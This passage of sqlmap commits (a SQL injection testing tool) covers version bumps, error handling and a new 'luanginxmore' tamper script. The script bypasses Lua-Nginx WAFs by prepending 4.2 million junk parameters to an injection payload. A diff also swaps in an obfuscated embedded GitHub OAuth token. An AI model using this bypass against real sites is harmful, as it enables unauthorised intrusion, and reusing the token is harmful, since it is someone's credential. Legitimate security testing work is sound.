https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") except (ssl.SSLError, AttributeError): pass From a9cae8295073c58f5e1f595441858653cec727e9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Mar 2025 16:00:43 +0100 Subject: [PATCH 148/853] Minor update for the automatic reporting --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 4 +++- lib/core/settings.py | 4 ++-- 3 files changed, 7 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8ca1991003c..ccebb02151a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ de2b0220db1c79d8720b636d267b11e117151f5f99740567096e9b4cbb7cc9d5 lib/controller 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 lib/controller/__init__.py 41c7fb7e486c4383a114c851f0c32c81c53c2b4f1d2a0fd99f70885072646387 lib/core/agent.py f848dcfdacb5143f803f4e9474cf3eef939039c26c522ca09777c425661300f0 lib/core/bigarray.py -eaf9d2d47305764213ada74b7a83721fc5f49578f2d8afa78799855068acb416 lib/core/common.py +afecad4b14e8008f6f97a6ec653fc930dfd8dc65f9d24a51274f8b5c3f63a4e2 lib/core/common.py 88fbbe7c41511b17d7ef449d675a84eaa80cac6ebf457a18577eadd62f6f1330 lib/core/compat.py 5ce8f2292f99d17d69bfc40ded206bfdfd06e2e3660ff9d1b3c56163793f8d1c lib/core/convert.py f561310b3cea570cc13d9f0aff16cce8b097d51275f8b947e7fff4876ac65c32 lib/core/data.py @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -2d6e17f497c09c7a25225e7c669b5c907aec1dac09c9300dd4ad48a325e2a254 lib/core/settings.py +13cb63f7e3c76e3251cd572b766b358389b5d997893aa649bf279169051270e8 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 8e4d06e35ed..8fc73e956ba 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -35,6 +35,7 @@ import time import types import unicodedata +import zlib from difflib import SequenceMatcher from math import sqrt @@ -4005,7 +4006,8 @@ def createGithubIssue(errMsg, excMsg): pass data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} - req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % decodeBase64(GITHUB_REPORT_OAUTH_TOKEN, binary=False), HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1]) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) try: content = getText(_urllib.request.urlopen(req).read()) diff --git a/lib/core/settings.py b/lib/core/settings.py index f3615dd1252..65bdda61c8d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.2.16" +VERSION = "1.9.3.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -701,7 +701,7 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX0pNd0I2U25kN2Q5QmxlWkhxZmkxVXZTSHZiTlRDWjE5NUNpNA" +GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 From 28c838a9f007ef06ced330fae0503ebb8b76cf7a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Mar 2025 16:01:21 +0100 Subject: [PATCH 149/853] Dummy update --- data/txt/sha256sums.txt | 2 +- lib/core/settings.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ccebb02151a..f34ea026285 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -13cb63f7e3c76e3251cd572b766b358389b5d997893aa649bf279169051270e8 lib/core/settings.py +c689e87a8cfaf0faf1a44c8b6fc513ab9ce13e57059c8eaabd2b956b2473a57f lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 65bdda61c8d..97d9c0e5dd0 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.3.0" +VERSION = "1.9.3.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -61,7 +61,7 @@ UPPER_RATIO_BOUND = 0.98 # For filling in case of dumb push updates -DUMMY_JUNK = "ouZ0ii8A" +DUMMY_JUNK = "ahy9Ouge" # Markers for special cases when parameter values contain html encoded characters PARAMETER_AMP_MARKER = "__AMP__" From 6c108d96a009de6813acb1c4011321135fef1d06 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 14 Mar 2025 13:59:42 +0100 Subject: [PATCH 150/853] Minor update regarding the #5863 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/request/comparison.py | 12 ++++++++++-- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f34ea026285..4e75db527a3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -c689e87a8cfaf0faf1a44c8b6fc513ab9ce13e57059c8eaabd2b956b2473a57f lib/core/settings.py +67d73d40d250bfef5bf3901a948ff44a9b9b9c44dd4b97c42f5e2433b327b9c0 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -210,7 +210,7 @@ cbabdde72df4bd8d6961d589f1721dd938d8f653aa6af8900a31af6e2586405d lib/parse/site 87109063dd336fe2705fdfef23bc9b340dcc58e410f15c372fab51ea6a1bf4b1 lib/request/basicauthhandler.py 89417568d7f19e48d39a8a9a4227d3d2b71d1c9f61139a41b1835fb5266fcab8 lib/request/basic.py 6139b926a3462d14ddd50acdb8575ae442b8fab089db222721535092b9af3ea1 lib/request/chunkedhandler.py -6058fc4fce4b5ce660096d341eab3ae170e5406b31e2e9f51dcf60e7a2b67e68 lib/request/comparison.py +6be5719f3c922682931779830a4571a13d5612a69e2423fd60a254e8dbceaf5c lib/request/comparison.py 7345c12a0a1d4c583766b46ba38263cbc4603a85aa4216deddd62958d4e5d596 lib/request/connect.py 0649a39c5cc2fc0f4c062b100ced17e3e6934a7e578247dfc65b650edc29825e lib/request/direct.py 5283754cf387ce4e645ee50834ee387cde29a768aaada1a6a07c338da216c94d lib/request/dns.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 97d9c0e5dd0..72d5d8740d3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.3.1" +VERSION = "1.9.3.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 9c95d96e9a6..f839453bd91 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -21,7 +21,9 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapSilentQuitException from lib.core.settings import DEFAULT_PAGE_ENCODING +from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX from lib.core.settings import LOWER_RATIO_BOUND @@ -35,8 +37,14 @@ from thirdparty import six def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): - _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) - return _ + try: + _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) + return _ + except: + warnMsg = "there was a KNOWN issue inside the internals regarding the difflib/comparison of pages. " + warnMsg += "Please report details privately via e-mail to '%s'" % DEV_EMAIL_ADDRESS + logger.critical(warnMsg) + raise SqlmapSilentQuitException def _adjust(condition, getRatioValue): if not any((conf.string, conf.notString, conf.regexp, conf.code)): From 23dda1022d9a7e38810110ae4a08ad3e55c4ac46 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 19 Mar 2025 10:16:49 +0100 Subject: [PATCH 151/853] Minor update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- sqlmap.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 4e75db527a3..9e2155934e3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -67d73d40d250bfef5bf3901a948ff44a9b9b9c44dd4b97c42f5e2433b327b9c0 lib/core/settings.py +0a830ab3cced78ec3c4e41eb01887805b086127bb8b45066b954741fea925947 lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -477,7 +477,7 @@ b3d9d0644197ecb864e899c04ee9c7cd63891ecf2a0d3c333aad563eef735294 plugins/generi 8c4fd81d84598535643cf0ef1b2d350cd92977cb55287e23993b76eaa2215c30 sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 4037f1c78180550c1896543581c0c2423e970086bae46f175397f2b4c54b7323 sqlmap.conf -3795c6d03bc341a0e3aef3d7990ea8c272d91a4c307e1498e850594375af39f7 sqlmap.py +f84846b8493d809d697a75b3d13d904013bbb03e0edd82b724f4753801609057 sqlmap.py 9d408612a6780f7f50a7f7887f923ff3f40be5bfa09a951c6dc273ded05b56c0 tamper/0eunion.py c1c2eaa7df016cc7786ccee0ae4f4f363b1dce139c61fb3e658937cb0d18fc54 tamper/apostrophemask.py 19023093ab22aec3bce9523f28e8111e8f6125973e6d9c82adb60da056bdf617 tamper/apostrophenullencode.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 72d5d8740d3..627367e283b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.3.2" +VERSION = "1.9.3.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index 4821df63049..d2ccee74552 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -543,7 +543,7 @@ def main(): errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) - if conf.get("api") or not valid: + if conf.get("api") or not valid or kb.lastCtrlCTime: logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) From 1b4fb3a86d2acbc0b66d3e556a956a0f77a55d7c Mon Sep 17 00:00:00 2001 From: Kenny Strawn Date: Fri, 28 Mar 2025 02:09:42 -0700 Subject: [PATCH 152/853] Add luanginxmore tamper script (#5881) * Add luanginxmore tamper script POST requests can accept far more parameters than GET requests, so for additional evasion, it's nice to have something capable of overwhelming a WAF with millions of parameters, not just hundreds. Tested against public bug bounty programs with great success. * Fix syntax error Oops, forgot an extra closing parenthesis * Fix missing imports --- tamper/luanginxmore.py | 43 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 tamper/luanginxmore.py diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py new file mode 100644 index 00000000000..3fb78966312 --- /dev/null +++ b/tamper/luanginxmore.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import random +import string +import sys +import os + +from lib.core.compat import xrange +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import HINT +from lib.core.enums import PRIORITY +from lib.core.settings import DEFAULT_GET_POST_DELIMITER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run on POST requests" % (os.path.basename(__file__).split(".")[0])) + +def tamper(payload, **kwargs): + """ + LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters instead of the default 500 + + Reference: + * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + + Notes: + * Lua-Nginx WAFs do not support processing of more than 100 parameters + + >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) + '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' + """ + + hints = kwargs.get("hints", {}) + delimiter = kwargs.get("delimiter", DEFAULT_GET_POST_DELIMITER) + + hints[HINT.PREPEND] = delimiter.join("%s=" % "".join(random.sample(string.ascii_letters + string.digits, 2)) for _ in xrange(4194304)) + + return payload From 04b293d44f9bf821736babd2e053e844e339b87d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 28 Mar 2025 10:11:43 +0100 Subject: [PATCH 153/853] Fix related to #5881 --- data/txt/sha256sums.txt | 3 ++- lib/core/settings.py | 2 +- tamper/luanginxmore.py | 8 ++------ 3 files changed, 5 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9e2155934e3..56d7cf94dc1 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c6a182f6b7d3b0ad6f0888ea2a4de4148f0770549038d7de8bc3267b4c6635f7 lib/core/readl 63ae69713c6ea9abfa10e71dfab8f2dcf42432177a38d2c1e98785bf1468674c lib/core/replication.py 5bad5bc7115051cef7b84efa73fbafbf5e1db46eef32a445056b56cda750b66f lib/core/revision.py 0dcb52c9c76a4b0acf2e9038f7d8f08c14543cef3cf7032831c6c0a99376ad24 lib/core/session.py -0a830ab3cced78ec3c4e41eb01887805b086127bb8b45066b954741fea925947 lib/core/settings.py +f04c8a49a6c7205949d54bed4226abf8ab97361ceb4e0325fc260456a0ad412f lib/core/settings.py a1e4f2860bffc73bbf2e5db293fa49dcb600ea35f950cda43dc953b3160ab3db lib/core/shell.py 841716e87b90a3b598515910841f7cf8d33bb87c24a27fba1a80e36a831cbcd7 lib/core/subprocessng.py 9731092f195e346716929323ea3c93247b23b9b92b0f32d3fd0acc3adf9876cc lib/core/target.py @@ -511,6 +511,7 @@ d498e409c96d2ae2cc86263ead52ae385e95e9ec27f28247180c7c73ec348b3f tamper/informa 1d6e741e19e467650dce2ca84aa824d6df68ff74aedbe4afa8dbdb0193d94918 tamper/__init__.py b9a84211c84785361f4efa55858a1cdddd63cee644d0b8d4323b3a5e3db7d12f tamper/least.py 0de2bd766f883ac742f194f991c5d38799ffbf4346f4376be7ec8d750f2d9ef8 tamper/lowercase.py +5015f35181dd4e4e0bddc67c4dfd86d6c509ae48a5f0212a122ff9a62f7352ce tamper/luanginxmore.py c390d072ed48431ab5848d51b9ca5c4ff323964a770f0597bdde943ed12377f8 tamper/luanginx.py 7eba10540514a5bfaee02e92b711e0f89ffe30b1672ec25c7680f2aa336c8a58 tamper/misunion.py b262da8d38dbb4be64d42e0ab07e25611da11c5d07aa11b09497b344a4c76b8d tamper/modsecurityversioned.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 627367e283b..a5793f9b22a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.3.3" +VERSION = "1.9.3.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tamper/luanginxmore.py b/tamper/luanginxmore.py index 3fb78966312..8810642724a 100644 --- a/tamper/luanginxmore.py +++ b/tamper/luanginxmore.py @@ -7,7 +7,6 @@ import random import string -import sys import os from lib.core.compat import xrange @@ -23,16 +22,13 @@ def dependencies(): def tamper(payload, **kwargs): """ - LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters instead of the default 500 + LUA-Nginx WAFs Bypass (e.g. Cloudflare) with 4.2 million parameters Reference: * https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ Notes: - * Lua-Nginx WAFs do not support processing of more than 100 parameters - - >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) - '34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1' + * Lua-Nginx WAFs do not support processing of huge number of parameters """ hints = kwargs.get("hints", {}) From bb725d222c6ec1241bab9ea26b6a046a4efd287f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 1 Apr 2025 10:26:19 +0200 Subject: [PATCH 154/853] Fixes #5885 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 3 +++ lib/request/connect.py | 5 +++++ 3 files 